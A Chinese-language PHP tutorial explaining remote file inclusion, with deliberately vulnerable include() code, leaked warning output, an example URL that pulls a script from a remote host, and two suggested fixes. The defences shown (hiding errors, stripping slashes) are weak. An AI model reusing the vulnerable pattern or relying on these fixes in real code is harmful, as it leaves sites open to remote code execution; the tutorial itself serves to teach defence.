PHP 网络开发详解之远程文件包含漏洞
2015-01-24信息快讯网
由于PHP支持使用相同的函数(Function)对本地文件和远程文件进行操作。因此,一些恶意用户通过强行使网站上的PHP代码(Code)包含自己的文件来实现执行自己脚本的目的。
以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。<?php $file_name = $_GET["filename"]; //获得当前文件名 include("$file_name "); //包含文件 //一些其他操作 ?>
这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php echo "hello world!"; ?>
这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php $file_name = $_GET["filename"]; //获得当前文件名 if(!@include("$file_name.php")) //包含文件 { die("页面在浏览过程中出现错误"); } //一些其他操作 ?>
修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php $file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 if(!@include("$file_name.php")) //包含文件 { die("页面在浏览过程中出现错误"); } //一些其他操作 ?>
这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP session会话的安全性分析
php中实现简单的ACL 完结篇
php将时间差转换为字符串提示
php 中英文语言转换类
php继承的一个应用
PHP文件操作实现代码分享
php 文件上传类代码
PHP在获取指定目录下的目录,在获取的目录下面再创建文件,多平台
php中获取远程客户端的真实ip地址的方法
利用PHP实现智能文件类型检测的实现代码
使用ThinkPHP自带的Http类下载远程图片到本地的实现代码
php XPath对XML文件查找及修改实现代码
PHP 获取远程网页内容的代码(fopen,curl已测)
开启CURL扩展,让服务器支持PHP curl函数(远程采集)
PHP自动选择 连接本地还是远程数据库
php strstr查找字符串中是否包含某些字符的查找函数
PHP 中文处理技巧
php快速url重写更新版[需php 5.30以上]
PHP CURL模拟GET及POST函数代码
php file_get_contents函数轻松采集html数据
国外比较好的几个的Php开源建站平台小结
PHP最常用的ini函数分析 针对PHP.ini配置文件
创建配置文件 用PHP写出自己的BLOG系统 2
PHP 一个比较完善的简单文件上传
PHP 获取远程文件内容的函数代码
elgg 获取文件图标地址的方法
获取远程文件大小的php函数
PHP 远程关机实现代码
php 调用远程url的六种方法小结
php 远程包含文件漏洞分析第1/6页
php判断字符以及字符串的包含方法属性